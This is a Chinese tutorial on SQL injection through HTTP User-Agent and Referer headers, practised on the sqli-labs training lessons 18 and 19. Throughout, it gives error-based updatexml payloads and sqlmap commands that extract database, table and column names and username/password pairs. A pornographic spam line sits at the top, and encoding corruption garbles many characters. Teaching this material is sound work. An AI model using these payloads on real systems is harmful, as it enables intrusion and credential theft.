欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

圖文詳解HTTP頭中的SQL注入

 更新時間:2021年12月12日 09:16:52   作者:山川綠水  
HTTP頭字段是超文本傳輸協(xié)議(HTTP)中請求和響應(yīng)的部分信息,它們定義了HTTP傳輸?shù)牟僮鲄?shù),下面這篇文章主要給大家介紹了關(guān)于HTTP頭中SQL注入的相關(guān)資料,需要的朋友可以參考下

HTTP頭中的SQL注入

1.HTTP頭中的注入介紹

在安全意識越來越重視的情況下,很多網(wǎng)站都在防止漏洞的發(fā)生。例如SQL注入中,用戶提交的參數(shù)都會被代碼中的某些措施進(jìn)行過濾。

過濾掉用戶直接提交的參數(shù),但是對于HTTP頭中提交的內(nèi)容很有可能就沒有進(jìn)行過濾。
例如HTTP頭中的User-Agent、Referer、Cookies等。

2.HTTP User-Agent注入

就拿Sqli-Lab-Less18

這里的User-Agent是可控的,因此存在HTTP User-Agent注入

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

Payload內(nèi)容:

updatexml(xml_document,xpath_string,new_value):

第一個參數(shù):XML文檔對象名稱。

第二個參數(shù):XPath字符串。

第三個參數(shù):替換查找到的符合條件的數(shù)據(jù)。

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看數(shù)據(jù)庫

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到數(shù)據(jù)庫security,獲取數(shù)據(jù)表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到數(shù)據(jù)表emails,referers,uagents,users,我們使用的是users表,獲取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.獲取字段內(nèi)容

當(dāng)我們使用下面的語句時,會報錯Subquery returns more than 1 ro

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的數(shù)據(jù)有多行,我們可以使用limit限制其只返回一條數(shù)據(jù)

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

3.HTTP Referer注入

Sqli-Lab19為例

' or '1'='1

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看數(shù)據(jù)庫

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到數(shù)據(jù)庫security,獲取數(shù)據(jù)表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到數(shù)據(jù)表emails,referers,uagents,users,我們使用的是users表,獲取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.獲取字段內(nèi)容

當(dāng)我們使用下面的語句時,會報錯Subquery returns more than 1 row

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的數(shù)據(jù)有多行,我們可以使用limit限制其只返回一條數(shù)據(jù)

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

4.sqlmap安全測試

抓取數(shù)據(jù)包,將抓取的全部內(nèi)容,放到文本文檔中,并且在有可能存在注入點的地方加入星號(*)

1.爆破數(shù)據(jù)庫

python2 sqlmap.py -r 1.txt --dbs

得到數(shù)據(jù)庫信息

2.爆破數(shù)據(jù)表

python2 sqlmap.py -r 1.txt -D security --tables

得到數(shù)據(jù)表的信息

3.爆破字段及內(nèi)容

python2 sqlmap.py -r 1.txt -D security -T users --dump

得到數(shù)據(jù)內(nèi)容

PS

1.HTTP User-Agent注入HTTP Referer注入屬于放包攻擊,我們在放包的過程中,必須使用正確的用戶名和密碼;

2.如果探測出是HTTP頭注入,在使用sqlmap跑的過程中,在末尾加上星號(*),可以提高滲透測試的效率

5.HTTP頭部詳解

User-Agent:使得服務(wù)器能夠識別客戶使用的操作系統(tǒng),游覽器版本等.(很多數(shù)據(jù)量大的網(wǎng)站中會記錄客戶使用的操作系統(tǒng)或瀏覽器版本等存入數(shù)據(jù)庫中)

Cookie:網(wǎng)站為了辨別用戶身份、進(jìn)行 session 跟蹤而儲存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密).

X-Forwarded-For:簡稱XFF頭,它代表客戶端,也就是HTTP的請求端真實的IP,(通常一些網(wǎng)站的防注入功能會記錄請求端真實IP地址并寫入數(shù)據(jù)庫or某文件[通過修改XXF頭可以實現(xiàn)偽造IP])

Clien-IP:同上,不做過多介紹.

Rerferer:瀏覽器向 WEB 服務(wù)器表明自己是從哪個頁面鏈接過來的.

Host:客戶端指定自己想訪問的WEB服務(wù)器的域名/IP 地址和端口號(這個我本人還沒碰到過,不過有真實存在的案例還是寫上吧).

總結(jié)

到此這篇關(guān)于HTTP頭中SQL注入的文章就介紹到這了,更多相關(guān)HTTP頭中SQL注入內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論